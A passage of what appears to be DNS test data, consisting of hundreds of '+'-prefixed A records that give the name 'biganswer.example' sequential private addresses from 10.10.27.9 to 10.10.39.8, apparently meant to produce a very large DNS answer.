+biganswer.example.	3600	IN	A	10.10.27.9
+biganswer.example.	3600	IN	A	10.10.27.10
+biganswer.example.	3600	IN	A	10.10.27.11
+biganswer.example.	3600	IN	A	10.10.27.12
+biganswer.example.	3600	IN	A	10.10.27.13
+biganswer.example.	3600	IN	A	10.10.27.14
+biganswer.example.	3600	IN	A	10.10.27.15
+biganswer.example.	3600	IN	A	10.10.27.16
+biganswer.example.	3600	IN	A	10.10.27.17
+biganswer.example.	3600	IN	A	10.10.27.18
+biganswer.example.	3600	IN	A	10.10.27.19
+biganswer.example.	3600	IN	A	10.10.27.20
+biganswer.example.	3600	IN	A	10.10.27.21
+biganswer.example.	3600	IN	A	10.10.27.22
+biganswer.example.	3600	IN	A	10.10.27.23
+biganswer.example.	3600	IN	A	10.10.27.24
+biganswer.example.	3600	IN	A	10.10.27.25
+biganswer.example.	3600	IN	A	10.10.27.26
+biganswer.example.	3600	IN	A	10.10.27.27
+biganswer.example.	3600	IN	A	10.10.27.28
+biganswer.example.	3600	IN	A	10.10.27.29
+biganswer.example.	3600	IN	A	10.10.27.30
+biganswer.example.	3600	IN	A	10.10.27.31
+biganswer.example.	3600	IN	A	10.10.27.32
+biganswer.example.	3600	IN	A	10.10.27.33
+biganswer.example.	3600	IN	A	10.10.27.34
+biganswer.example.	3600	IN	A	10.10.27.35
+biganswer.example.	3600	IN	A	10.10.27.36
+biganswer.example.	3600	IN	A	10.10.27.37
+biganswer.example.	3600	IN	A	10.10.27.38
+biganswer.example.	3600	IN	A	10.10.27.39
+biganswer.example.	3600	IN	A	10.10.27.40
+biganswer.example.	3600	IN	A	10.10.27.41
+biganswer.example.	3600	IN	A	10.10.27.42
+biganswer.example.	3600	IN	A	10.10.27.43
+biganswer.example.	3600	IN	A	10.10.27.44
+biganswer.example.	3600	IN	A	10.10.27.45
+biganswer.example.	3600	IN	A	10.10.27.46
+biganswer.example.	3600	IN	A	10.10.27.47
+biganswer.example.	3600	IN	A	10.10.27.48
+biganswer.example.	3600	IN	A	10.10.27.49
+biganswer.example.	3600	IN	A	10.10.27.50
+biganswer.example.	3600	IN	A	10.10.28.1
+biganswer.example.	3600	IN	A	10.10.28.2
+biganswer.example.	3600	IN	A	10.10.28.3
+biganswer.example.	3600	IN	A	10.10.28.4
+biganswer.example.	3600	IN	A	10.10.28.5
+biganswer.example.	3600	IN	A	10.10.28.6
+biganswer.example.	3600	IN	A	10.10.28.7
+biganswer.example.	3600	IN	A	10.10.28.8
+biganswer.example.	3600	IN	A	10.10.28.9
+biganswer.example.	3600	IN	A	10.10.28.10
+biganswer.example.	3600	IN	A	10.10.28.11
+biganswer.example.	3600	IN	A	10.10.28.12
+biganswer.example.	3600	IN	A	10.10.28.13
+biganswer.example.	3600	IN	A	10.10.28.14
+biganswer.example.	3600	IN	A	10.10.28.15
+biganswer.example.	3600	IN	A	10.10.28.16
+biganswer.example.	3600	IN	A	10.10.28.17
+biganswer.example.	3600	IN	A	10.10.28.18
+biganswer.example.	3600	IN	A	10.10.28.19
+biganswer.example.	3600	IN	A	10.10.28.20
+biganswer.example.	3600	IN	A	10.10.28.21
+biganswer.example.	3600	IN	A	10.10.28.22
+biganswer.example.	3600	IN	A	10.10.28.23
+biganswer.example.	3600	IN	A	10.10.28.24
+biganswer.example.	3600	IN	A	10.10.28.25
+biganswer.example.	3600	IN	A	10.10.28.26
+biganswer.example.	3600	IN	A	10.10.28.27
+biganswer.example.	3600	IN	A	10.10.28.28
+biganswer.example.	3600	IN	A	10.10.28.29
+biganswer.example.	3600	IN	A	10.10.28.30
+biganswer.example.	3600	IN	A	10.10.28.31
+biganswer.example.	3600	IN	A	10.10.28.32
+biganswer.example.	3600	IN	A	10.10.28.33
+biganswer.example.	3600	IN	A	10.10.28.34
+biganswer.example.	3600	IN	A	10.10.28.35
+biganswer.example.	3600	IN	A	10.10.28.36
+biganswer.example.	3600	IN	A	10.10.28.37
+biganswer.example.	3600	IN	A	10.10.28.38
+biganswer.example.	3600	IN	A	10.10.28.39
+biganswer.example.	3600	IN	A	10.10.28.40
+biganswer.example.	3600	IN	A	10.10.28.41
+biganswer.example.	3600	IN	A	10.10.28.42
+biganswer.example.	3600	IN	A	10.10.28.43
+biganswer.example.	3600	IN	A	10.10.28.44
+biganswer.example.	3600	IN	A	10.10.28.45
+biganswer.example.	3600	IN	A	10.10.28.46
+biganswer.example.	3600	IN	A	10.10.28.47
+biganswer.example.	3600	IN	A	10.10.28.48
+biganswer.example.	3600	IN	A	10.10.28.49
+biganswer.example.	3600	IN	A	10.10.28.50
+biganswer.example.	3600	IN	A	10.10.29.1
+biganswer.example.	3600	IN	A	10.10.29.2
+biganswer.example.	3600	IN	A	10.10.29.3
+biganswer.example.	3600	IN	A	10.10.29.4
+biganswer.example.	3600	IN	A	10.10.29.5
+biganswer.example.	3600	IN	A	10.10.29.6
+biganswer.example.	3600	IN	A	10.10.29.7
+biganswer.example.	3600	IN	A	10.10.29.8
+biganswer.example.	3600	IN	A	10.10.29.9
+biganswer.example.	3600	IN	A	10.10.29.10
+biganswer.example.	3600	IN	A	10.10.29.11
+biganswer.example.	3600	IN	A	10.10.29.12
+biganswer.example.	3600	IN	A	10.10.29.13
+biganswer.example.	3600	IN	A	10.10.29.14
+biganswer.example.	3600	IN	A	10.10.29.15
+biganswer.example.	3600	IN	A	10.10.29.16
+biganswer.example.	3600	IN	A	10.10.29.17
+biganswer.example.	3600	IN	A	10.10.29.18
+biganswer.example.	3600	IN	A	10.10.29.19
+biganswer.example.	3600	IN	A	10.10.29.20
+biganswer.example.	3600	IN	A	10.10.29.21
+biganswer.example.	3600	IN	A	10.10.29.22
+biganswer.example.	3600	IN	A	10.10.29.23
+biganswer.example.	3600	IN	A	10.10.29.24
+biganswer.example.	3600	IN	A	10.10.29.25
+biganswer.example.	3600	IN	A	10.10.29.26
+biganswer.example.	3600	IN	A	10.10.29.27
+biganswer.example.	3600	IN	A	10.10.29.28
+biganswer.example.	3600	IN	A	10.10.29.29
+biganswer.example.	3600	IN	A	10.10.29.30
+biganswer.example.	3600	IN	A	10.10.29.31
+biganswer.example.	3600	IN	A	10.10.29.32
+biganswer.example.	3600	IN	A	10.10.29.33
+biganswer.example.	3600	IN	A	10.10.29.34
+biganswer.example.	3600	IN	A	10.10.29.35
+biganswer.example.	3600	IN	A	10.10.29.36
+biganswer.example.	3600	IN	A	10.10.29.37
+biganswer.example.	3600	IN	A	10.10.29.38
+biganswer.example.	3600	IN	A	10.10.29.39
+biganswer.example.	3600	IN	A	10.10.29.40
+biganswer.example.	3600	IN	A	10.10.29.41
+biganswer.example.	3600	IN	A	10.10.29.42
+biganswer.example.	3600	IN	A	10.10.29.43
+biganswer.example.	3600	IN	A	10.10.29.44
+biganswer.example.	3600	IN	A	10.10.29.45
+biganswer.example.	3600	IN	A	10.10.29.46
+biganswer.example.	3600	IN	A	10.10.29.47
+biganswer.example.	3600	IN	A	10.10.29.48
+biganswer.example.	3600	IN	A	10.10.29.49
+biganswer.example.	3600	IN	A	10.10.29.50
+biganswer.example.	3600	IN	A	10.10.30.1
+biganswer.example.	3600	IN	A	10.10.30.2
+biganswer.example.	3600	IN	A	10.10.30.3
+biganswer.example.	3600	IN	A	10.10.30.4
+biganswer.example.	3600	IN	A	10.10.30.5
+biganswer.example.	3600	IN	A	10.10.30.6
+biganswer.example.	3600	IN	A	10.10.30.7
+biganswer.example.	3600	IN	A	10.10.30.8
+biganswer.example.	3600	IN	A	10.10.30.9
+biganswer.example.	3600	IN	A	10.10.30.10
+biganswer.example.	3600	IN	A	10.10.30.11
+biganswer.example.	3600	IN	A	10.10.30.12
+biganswer.example.	3600	IN	A	10.10.30.13
+biganswer.example.	3600	IN	A	10.10.30.14
+biganswer.example.	3600	IN	A	10.10.30.15
+biganswer.example.	3600	IN	A	10.10.30.16
+biganswer.example.	3600	IN	A	10.10.30.17
+biganswer.example.	3600	IN	A	10.10.30.18
+biganswer.example.	3600	IN	A	10.10.30.19
+biganswer.example.	3600	IN	A	10.10.30.20
+biganswer.example.	3600	IN	A	10.10.30.21
+biganswer.example.	3600	IN	A	10.10.30.22
+biganswer.example.	3600	IN	A	10.10.30.23
+biganswer.example.	3600	IN	A	10.10.30.24
+biganswer.example.	3600	IN	A	10.10.30.25
+biganswer.example.	3600	IN	A	10.10.30.26
+biganswer.example.	3600	IN	A	10.10.30.27
+biganswer.example.	3600	IN	A	10.10.30.28
+biganswer.example.	3600	IN	A	10.10.30.29
+biganswer.example.	3600	IN	A	10.10.30.30
+biganswer.example.	3600	IN	A	10.10.30.31
+biganswer.example.	3600	IN	A	10.10.30.32
+biganswer.example.	3600	IN	A	10.10.30.33
+biganswer.example.	3600	IN	A	10.10.30.34
+biganswer.example.	3600	IN	A	10.10.30.35
+biganswer.example.	3600	IN	A	10.10.30.36
+biganswer.example.	3600	IN	A	10.10.30.37
+biganswer.example.	3600	IN	A	10.10.30.38
+biganswer.example.	3600	IN	A	10.10.30.39
+biganswer.example.	3600	IN	A	10.10.30.40
+biganswer.example.	3600	IN	A	10.10.30.41
+biganswer.example.	3600	IN	A	10.10.30.42
+biganswer.example.	3600	IN	A	10.10.30.43
+biganswer.example.	3600	IN	A	10.10.30.44
+biganswer.example.	3600	IN	A	10.10.30.45
+biganswer.example.	3600	IN	A	10.10.30.46
+biganswer.example.	3600	IN	A	10.10.30.47
+biganswer.example.	3600	IN	A	10.10.30.48
+biganswer.example.	3600	IN	A	10.10.30.49
+biganswer.example.	3600	IN	A	10.10.30.50
+biganswer.example.	3600	IN	A	10.10.31.1
+biganswer.example.	3600	IN	A	10.10.31.2
+biganswer.example.	3600	IN	A	10.10.31.3
+biganswer.example.	3600	IN	A	10.10.31.4
+biganswer.example.	3600	IN	A	10.10.31.5
+biganswer.example.	3600	IN	A	10.10.31.6
+biganswer.example.	3600	IN	A	10.10.31.7
+biganswer.example.	3600	IN	A	10.10.31.8
+biganswer.example.	3600	IN	A	10.10.31.9
+biganswer.example.	3600	IN	A	10.10.31.10
+biganswer.example.	3600	IN	A	10.10.31.11
+biganswer.example.	3600	IN	A	10.10.31.12
+biganswer.example.	3600	IN	A	10.10.31.13
+biganswer.example.	3600	IN	A	10.10.31.14
+biganswer.example.	3600	IN	A	10.10.31.15
+biganswer.example.	3600	IN	A	10.10.31.16
+biganswer.example.	3600	IN	A	10.10.31.17
+biganswer.example.	3600	IN	A	10.10.31.18
+biganswer.example.	3600	IN	A	10.10.31.19
+biganswer.example.	3600	IN	A	10.10.31.20
+biganswer.example.	3600	IN	A	10.10.31.21
+biganswer.example.	3600	IN	A	10.10.31.22
+biganswer.example.	3600	IN	A	10.10.31.23
+biganswer.example.	3600	IN	A	10.10.31.24
+biganswer.example.	3600	IN	A	10.10.31.25
+biganswer.example.	3600	IN	A	10.10.31.26
+biganswer.example.	3600	IN	A	10.10.31.27
+biganswer.example.	3600	IN	A	10.10.31.28
+biganswer.example.	3600	IN	A	10.10.31.29
+biganswer.example.	3600	IN	A	10.10.31.30
+biganswer.example.	3600	IN	A	10.10.31.31
+biganswer.example.	3600	IN	A	10.10.31.32
+biganswer.example.	3600	IN	A	10.10.31.33
+biganswer.example.	3600	IN	A	10.10.31.34
+biganswer.example.	3600	IN	A	10.10.31.35
+biganswer.example.	3600	IN	A	10.10.31.36
+biganswer.example.	3600	IN	A	10.10.31.37
+biganswer.example.	3600	IN	A	10.10.31.38
+biganswer.example.	3600	IN	A	10.10.31.39
+biganswer.example.	3600	IN	A	10.10.31.40
+biganswer.example.	3600	IN	A	10.10.31.41
+biganswer.example.	3600	IN	A	10.10.31.42
+biganswer.example.	3600	IN	A	10.10.31.43
+biganswer.example.	3600	IN	A	10.10.31.44
+biganswer.example.	3600	IN	A	10.10.31.45
+biganswer.example.	3600	IN	A	10.10.31.46
+biganswer.example.	3600	IN	A	10.10.31.47
+biganswer.example.	3600	IN	A	10.10.31.48
+biganswer.example.	3600	IN	A	10.10.31.49
+biganswer.example.	3600	IN	A	10.10.31.50
+biganswer.example.	3600	IN	A	10.10.32.1
+biganswer.example.	3600	IN	A	10.10.32.2
+biganswer.example.	3600	IN	A	10.10.32.3
+biganswer.example.	3600	IN	A	10.10.32.4
+biganswer.example.	3600	IN	A	10.10.32.5
+biganswer.example.	3600	IN	A	10.10.32.6
+biganswer.example.	3600	IN	A	10.10.32.7
+biganswer.example.	3600	IN	A	10.10.32.8
+biganswer.example.	3600	IN	A	10.10.32.9
+biganswer.example.	3600	IN	A	10.10.32.10
+biganswer.example.	3600	IN	A	10.10.32.11
+biganswer.example.	3600	IN	A	10.10.32.12
+biganswer.example.	3600	IN	A	10.10.32.13
+biganswer.example.	3600	IN	A	10.10.32.14
+biganswer.example.	3600	IN	A	10.10.32.15
+biganswer.example.	3600	IN	A	10.10.32.16
+biganswer.example.	3600	IN	A	10.10.32.17
+biganswer.example.	3600	IN	A	10.10.32.18
+biganswer.example.	3600	IN	A	10.10.32.19
+biganswer.example.	3600	IN	A	10.10.32.20
+biganswer.example.	3600	IN	A	10.10.32.21
+biganswer.example.	3600	IN	A	10.10.32.22
+biganswer.example.	3600	IN	A	10.10.32.23
+biganswer.example.	3600	IN	A	10.10.32.24
+biganswer.example.	3600	IN	A	10.10.32.25
+biganswer.example.	3600	IN	A	10.10.32.26
+biganswer.example.	3600	IN	A	10.10.32.27
+biganswer.example.	3600	IN	A	10.10.32.28
+biganswer.example.	3600	IN	A	10.10.32.29
+biganswer.example.	3600	IN	A	10.10.32.30
+biganswer.example.	3600	IN	A	10.10.32.31
+biganswer.example.	3600	IN	A	10.10.32.32
+biganswer.example.	3600	IN	A	10.10.32.33
+biganswer.example.	3600	IN	A	10.10.32.34
+biganswer.example.	3600	IN	A	10.10.32.35
+biganswer.example.	3600	IN	A	10.10.32.36
+biganswer.example.	3600	IN	A	10.10.32.37
+biganswer.example.	3600	IN	A	10.10.32.38
+biganswer.example.	3600	IN	A	10.10.32.39
+biganswer.example.	3600	IN	A	10.10.32.40
+biganswer.example.	3600	IN	A	10.10.32.41
+biganswer.example.	3600	IN	A	10.10.32.42
+biganswer.example.	3600	IN	A	10.10.32.43
+biganswer.example.	3600	IN	A	10.10.32.44
+biganswer.example.	3600	IN	A	10.10.32.45
+biganswer.example.	3600	IN	A	10.10.32.46
+biganswer.example.	3600	IN	A	10.10.32.47
+biganswer.example.	3600	IN	A	10.10.32.48
+biganswer.example.	3600	IN	A	10.10.32.49
+biganswer.example.	3600	IN	A	10.10.32.50
+biganswer.example.	3600	IN	A	10.10.33.1
+biganswer.example.	3600	IN	A	10.10.33.2
+biganswer.example.	3600	IN	A	10.10.33.3
+biganswer.example.	3600	IN	A	10.10.33.4
+biganswer.example.	3600	IN	A	10.10.33.5
+biganswer.example.	3600	IN	A	10.10.33.6
+biganswer.example.	3600	IN	A	10.10.33.7
+biganswer.example.	3600	IN	A	10.10.33.8
+biganswer.example.	3600	IN	A	10.10.33.9
+biganswer.example.	3600	IN	A	10.10.33.10
+biganswer.example.	3600	IN	A	10.10.33.11
+biganswer.example.	3600	IN	A	10.10.33.12
+biganswer.example.	3600	IN	A	10.10.33.13
+biganswer.example.	3600	IN	A	10.10.33.14
+biganswer.example.	3600	IN	A	10.10.33.15
+biganswer.example.	3600	IN	A	10.10.33.16
+biganswer.example.	3600	IN	A	10.10.33.17
+biganswer.example.	3600	IN	A	10.10.33.18
+biganswer.example.	3600	IN	A	10.10.33.19
+biganswer.example.	3600	IN	A	10.10.33.20
+biganswer.example.	3600	IN	A	10.10.33.21
+biganswer.example.	3600	IN	A	10.10.33.22
+biganswer.example.	3600	IN	A	10.10.33.23
+biganswer.example.	3600	IN	A	10.10.33.24
+biganswer.example.	3600	IN	A	10.10.33.25
+biganswer.example.	3600	IN	A	10.10.33.26
+biganswer.example.	3600	IN	A	10.10.33.27
+biganswer.example.	3600	IN	A	10.10.33.28
+biganswer.example.	3600	IN	A	10.10.33.29
+biganswer.example.	3600	IN	A	10.10.33.30
+biganswer.example.	3600	IN	A	10.10.33.31
+biganswer.example.	3600	IN	A	10.10.33.32
+biganswer.example.	3600	IN	A	10.10.33.33
+biganswer.example.	3600	IN	A	10.10.33.34
+biganswer.example.	3600	IN	A	10.10.33.35
+biganswer.example.	3600	IN	A	10.10.33.36
+biganswer.example.	3600	IN	A	10.10.33.37
+biganswer.example.	3600	IN	A	10.10.33.38
+biganswer.example.	3600	IN	A	10.10.33.39
+biganswer.example.	3600	IN	A	10.10.33.40
+biganswer.example.	3600	IN	A	10.10.33.41
+biganswer.example.	3600	IN	A	10.10.33.42
+biganswer.example.	3600	IN	A	10.10.33.43
+biganswer.example.	3600	IN	A	10.10.33.44
+biganswer.example.	3600	IN	A	10.10.33.45
+biganswer.example.	3600	IN	A	10.10.33.46
+biganswer.example.	3600	IN	A	10.10.33.47
+biganswer.example.	3600	IN	A	10.10.33.48
+biganswer.example.	3600	IN	A	10.10.33.49
+biganswer.example.	3600	IN	A	10.10.33.50
+biganswer.example.	3600	IN	A	10.10.34.1
+biganswer.example.	3600	IN	A	10.10.34.2
+biganswer.example.	3600	IN	A	10.10.34.3
+biganswer.example.	3600	IN	A	10.10.34.4
+biganswer.example.	3600	IN	A	10.10.34.5
+biganswer.example.	3600	IN	A	10.10.34.6
+biganswer.example.	3600	IN	A	10.10.34.7
+biganswer.example.	3600	IN	A	10.10.34.8
+biganswer.example.	3600	IN	A	10.10.34.9
+biganswer.example.	3600	IN	A	10.10.34.10
+biganswer.example.	3600	IN	A	10.10.34.11
+biganswer.example.	3600	IN	A	10.10.34.12
+biganswer.example.	3600	IN	A	10.10.34.13
+biganswer.example.	3600	IN	A	10.10.34.14
+biganswer.example.	3600	IN	A	10.10.34.15
+biganswer.example.	3600	IN	A	10.10.34.16
+biganswer.example.	3600	IN	A	10.10.34.17
+biganswer.example.	3600	IN	A	10.10.34.18
+biganswer.example.	3600	IN	A	10.10.34.19
+biganswer.example.	3600	IN	A	10.10.34.20
+biganswer.example.	3600	IN	A	10.10.34.21
+biganswer.example.	3600	IN	A	10.10.34.22
+biganswer.example.	3600	IN	A	10.10.34.23
+biganswer.example.	3600	IN	A	10.10.34.24
+biganswer.example.	3600	IN	A	10.10.34.25
+biganswer.example.	3600	IN	A	10.10.34.26
+biganswer.example.	3600	IN	A	10.10.34.27
+biganswer.example.	3600	IN	A	10.10.34.28
+biganswer.example.	3600	IN	A	10.10.34.29
+biganswer.example.	3600	IN	A	10.10.34.30
+biganswer.example.	3600	IN	A	10.10.34.31
+biganswer.example.	3600	IN	A	10.10.34.32
+biganswer.example.	3600	IN	A	10.10.34.33
+biganswer.example.	3600	IN	A	10.10.34.34
+biganswer.example.	3600	IN	A	10.10.34.35
+biganswer.example.	3600	IN	A	10.10.34.36
+biganswer.example.	3600	IN	A	10.10.34.37
+biganswer.example.	3600	IN	A	10.10.34.38
+biganswer.example.	3600	IN	A	10.10.34.39
+biganswer.example.	3600	IN	A	10.10.34.40
+biganswer.example.	3600	IN	A	10.10.34.41
+biganswer.example.	3600	IN	A	10.10.34.42
+biganswer.example.	3600	IN	A	10.10.34.43
+biganswer.example.	3600	IN	A	10.10.34.44
+biganswer.example.	3600	IN	A	10.10.34.45
+biganswer.example.	3600	IN	A	10.10.34.46
+biganswer.example.	3600	IN	A	10.10.34.47
+biganswer.example.	3600	IN	A	10.10.34.48
+biganswer.example.	3600	IN	A	10.10.34.49
+biganswer.example.	3600	IN	A	10.10.34.50
+biganswer.example.	3600	IN	A	10.10.35.1
+biganswer.example.	3600	IN	A	10.10.35.2
+biganswer.example.	3600	IN	A	10.10.35.3
+biganswer.example.	3600	IN	A	10.10.35.4
+biganswer.example.	3600	IN	A	10.10.35.5
+biganswer.example.	3600	IN	A	10.10.35.6
+biganswer.example.	3600	IN	A	10.10.35.7
+biganswer.example.	3600	IN	A	10.10.35.8
+biganswer.example.	3600	IN	A	10.10.35.9
+biganswer.example.	3600	IN	A	10.10.35.10
+biganswer.example.	3600	IN	A	10.10.35.11
+biganswer.example.	3600	IN	A	10.10.35.12
+biganswer.example.	3600	IN	A	10.10.35.13
+biganswer.example.	3600	IN	A	10.10.35.14
+biganswer.example.	3600	IN	A	10.10.35.15
+biganswer.example.	3600	IN	A	10.10.35.16
+biganswer.example.	3600	IN	A	10.10.35.17
+biganswer.example.	3600	IN	A	10.10.35.18
+biganswer.example.	3600	IN	A	10.10.35.19
+biganswer.example.	3600	IN	A	10.10.35.20
+biganswer.example.	3600	IN	A	10.10.35.21
+biganswer.example.	3600	IN	A	10.10.35.22
+biganswer.example.	3600	IN	A	10.10.35.23
+biganswer.example.	3600	IN	A	10.10.35.24
+biganswer.example.	3600	IN	A	10.10.35.25
+biganswer.example.	3600	IN	A	10.10.35.26
+biganswer.example.	3600	IN	A	10.10.35.27
+biganswer.example.	3600	IN	A	10.10.35.28
+biganswer.example.	3600	IN	A	10.10.35.29
+biganswer.example.	3600	IN	A	10.10.35.30
+biganswer.example.	3600	IN	A	10.10.35.31
+biganswer.example.	3600	IN	A	10.10.35.32
+biganswer.example.	3600	IN	A	10.10.35.33
+biganswer.example.	3600	IN	A	10.10.35.34
+biganswer.example.	3600	IN	A	10.10.35.35
+biganswer.example.	3600	IN	A	10.10.35.36
+biganswer.example.	3600	IN	A	10.10.35.37
+biganswer.example.	3600	IN	A	10.10.35.38
+biganswer.example.	3600	IN	A	10.10.35.39
+biganswer.example.	3600	IN	A	10.10.35.40
+biganswer.example.	3600	IN	A	10.10.35.41
+biganswer.example.	3600	IN	A	10.10.35.42
+biganswer.example.	3600	IN	A	10.10.35.43
+biganswer.example.	3600	IN	A	10.10.35.44
+biganswer.example.	3600	IN	A	10.10.35.45
+biganswer.example.	3600	IN	A	10.10.35.46
+biganswer.example.	3600	IN	A	10.10.35.47
+biganswer.example.	3600	IN	A	10.10.35.48
+biganswer.example.	3600	IN	A	10.10.35.49
+biganswer.example.	3600	IN	A	10.10.35.50
+biganswer.example.	3600	IN	A	10.10.36.1
+biganswer.example.	3600	IN	A	10.10.36.2
+biganswer.example.	3600	IN	A	10.10.36.3
+biganswer.example.	3600	IN	A	10.10.36.4
+biganswer.example.	3600	IN	A	10.10.36.5
+biganswer.example.	3600	IN	A	10.10.36.6
+biganswer.example.	3600	IN	A	10.10.36.7
+biganswer.example.	3600	IN	A	10.10.36.8
+biganswer.example.	3600	IN	A	10.10.36.9
+biganswer.example.	3600	IN	A	10.10.36.10
+biganswer.example.	3600	IN	A	10.10.36.11
+biganswer.example.	3600	IN	A	10.10.36.12
+biganswer.example.	3600	IN	A	10.10.36.13
+biganswer.example.	3600	IN	A	10.10.36.14
+biganswer.example.	3600	IN	A	10.10.36.15
+biganswer.example.	3600	IN	A	10.10.36.16
+biganswer.example.	3600	IN	A	10.10.36.17
+biganswer.example.	3600	IN	A	10.10.36.18
+biganswer.example.	3600	IN	A	10.10.36.19
+biganswer.example.	3600	IN	A	10.10.36.20
+biganswer.example.	3600	IN	A	10.10.36.21
+biganswer.example.	3600	IN	A	10.10.36.22
+biganswer.example.	3600	IN	A	10.10.36.23
+biganswer.example.	3600	IN	A	10.10.36.24
+biganswer.example.	3600	IN	A	10.10.36.25
+biganswer.example.	3600	IN	A	10.10.36.26
+biganswer.example.	3600	IN	A	10.10.36.27
+biganswer.example.	3600	IN	A	10.10.36.28
+biganswer.example.	3600	IN	A	10.10.36.29
+biganswer.example.	3600	IN	A	10.10.36.30
+biganswer.example.	3600	IN	A	10.10.36.31
+biganswer.example.	3600	IN	A	10.10.36.32
+biganswer.example.	3600	IN	A	10.10.36.33
+biganswer.example.	3600	IN	A	10.10.36.34
+biganswer.example.	3600	IN	A	10.10.36.35
+biganswer.example.	3600	IN	A	10.10.36.36
+biganswer.example.	3600	IN	A	10.10.36.37
+biganswer.example.	3600	IN	A	10.10.36.38
+biganswer.example.	3600	IN	A	10.10.36.39
+biganswer.example.	3600	IN	A	10.10.36.40
+biganswer.example.	3600	IN	A	10.10.36.41
+biganswer.example.	3600	IN	A	10.10.36.42
+biganswer.example.	3600	IN	A	10.10.36.43
+biganswer.example.	3600	IN	A	10.10.36.44
+biganswer.example.	3600	IN	A	10.10.36.45
+biganswer.example.	3600	IN	A	10.10.36.46
+biganswer.example.	3600	IN	A	10.10.36.47
+biganswer.example.	3600	IN	A	10.10.36.48
+biganswer.example.	3600	IN	A	10.10.36.49
+biganswer.example.	3600	IN	A	10.10.36.50
+biganswer.example.	3600	IN	A	10.10.37.1
+biganswer.example.	3600	IN	A	10.10.37.2
+biganswer.example.	3600	IN	A	10.10.37.3
+biganswer.example.	3600	IN	A	10.10.37.4
+biganswer.example.	3600	IN	A	10.10.37.5
+biganswer.example.	3600	IN	A	10.10.37.6
+biganswer.example.	3600	IN	A	10.10.37.7
+biganswer.example.	3600	IN	A	10.10.37.8
+biganswer.example.	3600	IN	A	10.10.37.9
+biganswer.example.	3600	IN	A	10.10.37.10
+biganswer.example.	3600	IN	A	10.10.37.11
+biganswer.example.	3600	IN	A	10.10.37.12
+biganswer.example.	3600	IN	A	10.10.37.13
+biganswer.example.	3600	IN	A	10.10.37.14
+biganswer.example.	3600	IN	A	10.10.37.15
+biganswer.example.	3600	IN	A	10.10.37.16
+biganswer.example.	3600	IN	A	10.10.37.17
+biganswer.example.	3600	IN	A	10.10.37.18
+biganswer.example.	3600	IN	A	10.10.37.19
+biganswer.example.	3600	IN	A	10.10.37.20
+biganswer.example.	3600	IN	A	10.10.37.21
+biganswer.example.	3600	IN	A	10.10.37.22
+biganswer.example.	3600	IN	A	10.10.37.23
+biganswer.example.	3600	IN	A	10.10.37.24
+biganswer.example.	3600	IN	A	10.10.37.25
+biganswer.example.	3600	IN	A	10.10.37.26
+biganswer.example.	3600	IN	A	10.10.37.27
+biganswer.example.	3600	IN	A	10.10.37.28
+biganswer.example.	3600	IN	A	10.10.37.29
+biganswer.example.	3600	IN	A	10.10.37.30
+biganswer.example.	3600	IN	A	10.10.37.31
+biganswer.example.	3600	IN	A	10.10.37.32
+biganswer.example.	3600	IN	A	10.10.37.33
+biganswer.example.	3600	IN	A	10.10.37.34
+biganswer.example.	3600	IN	A	10.10.37.35
+biganswer.example.	3600	IN	A	10.10.37.36
+biganswer.example.	3600	IN	A	10.10.37.37
+biganswer.example.	3600	IN	A	10.10.37.38
+biganswer.example.	3600	IN	A	10.10.37.39
+biganswer.example.	3600	IN	A	10.10.37.40
+biganswer.example.	3600	IN	A	10.10.37.41
+biganswer.example.	3600	IN	A	10.10.37.42
+biganswer.example.	3600	IN	A	10.10.37.43
+biganswer.example.	3600	IN	A	10.10.37.44
+biganswer.example.	3600	IN	A	10.10.37.45
+biganswer.example.	3600	IN	A	10.10.37.46
+biganswer.example.	3600	IN	A	10.10.37.47
+biganswer.example.	3600	IN	A	10.10.37.48
+biganswer.example.	3600	IN	A	10.10.37.49
+biganswer.example.	3600	IN	A	10.10.37.50
+biganswer.example.	3600	IN	A	10.10.38.1
+biganswer.example.	3600	IN	A	10.10.38.2
+biganswer.example.	3600	IN	A	10.10.38.3
+biganswer.example.	3600	IN	A	10.10.38.4
+biganswer.example.	3600	IN	A	10.10.38.5
+biganswer.example.	3600	IN	A	10.10.38.6
+biganswer.example.	3600	IN	A	10.10.38.7
+biganswer.example.	3600	IN	A	10.10.38.8
+biganswer.example.	3600	IN	A	10.10.38.9
+biganswer.example.	3600	IN	A	10.10.38.10
+biganswer.example.	3600	IN	A	10.10.38.11
+biganswer.example.	3600	IN	A	10.10.38.12
+biganswer.example.	3600	IN	A	10.10.38.13
+biganswer.example.	3600	IN	A	10.10.38.14
+biganswer.example.	3600	IN	A	10.10.38.15
+biganswer.example.	3600	IN	A	10.10.38.16
+biganswer.example.	3600	IN	A	10.10.38.17
+biganswer.example.	3600	IN	A	10.10.38.18
+biganswer.example.	3600	IN	A	10.10.38.19
+biganswer.example.	3600	IN	A	10.10.38.20
+biganswer.example.	3600	IN	A	10.10.38.21
+biganswer.example.	3600	IN	A	10.10.38.22
+biganswer.example.	3600	IN	A	10.10.38.23
+biganswer.example.	3600	IN	A	10.10.38.24
+biganswer.example.	3600	IN	A	10.10.38.25
+biganswer.example.	3600	IN	A	10.10.38.26
+biganswer.example.	3600	IN	A	10.10.38.27
+biganswer.example.	3600	IN	A	10.10.38.28
+biganswer.example.	3600	IN	A	10.10.38.29
+biganswer.example.	3600	IN	A	10.10.38.30
+biganswer.example.	3600	IN	A	10.10.38.31
+biganswer.example.	3600	IN	A	10.10.38.32
+biganswer.example.	3600	IN	A	10.10.38.33
+biganswer.example.	3600	IN	A	10.10.38.34
+biganswer.example.	3600	IN	A	10.10.38.35
+biganswer.example.	3600	IN	A	10.10.38.36
+biganswer.example.	3600	IN	A	10.10.38.37
+biganswer.example.	3600	IN	A	10.10.38.38
+biganswer.example.	3600	IN	A	10.10.38.39
+biganswer.example.	3600	IN	A	10.10.38.40
+biganswer.example.	3600	IN	A	10.10.38.41
+biganswer.example.	3600	IN	A	10.10.38.42
+biganswer.example.	3600	IN	A	10.10.38.43
+biganswer.example.	3600	IN	A	10.10.38.44
+biganswer.example.	3600	IN	A	10.10.38.45
+biganswer.example.	3600	IN	A	10.10.38.46
+biganswer.example.	3600	IN	A	10.10.38.47
+biganswer.example.	3600	IN	A	10.10.38.48
+biganswer.example.	3600	IN	A	10.10.38.49
+biganswer.example.	3600	IN	A	10.10.38.50
+biganswer.example.	3600	IN	A	10.10.39.1
+biganswer.example.	3600	IN	A	10.10.39.2
+biganswer.example.	3600	IN	A	10.10.39.3
+biganswer.example.	3600	IN	A	10.10.39.4
+biganswer.example.	3600	IN	A	10.10.39.5
+biganswer.example.	3600	IN	A	10.10.39.6
+biganswer.example.	3600	IN	A	10.10.39.7
+biganswer.example.	3600	IN	A	10.10.39.8
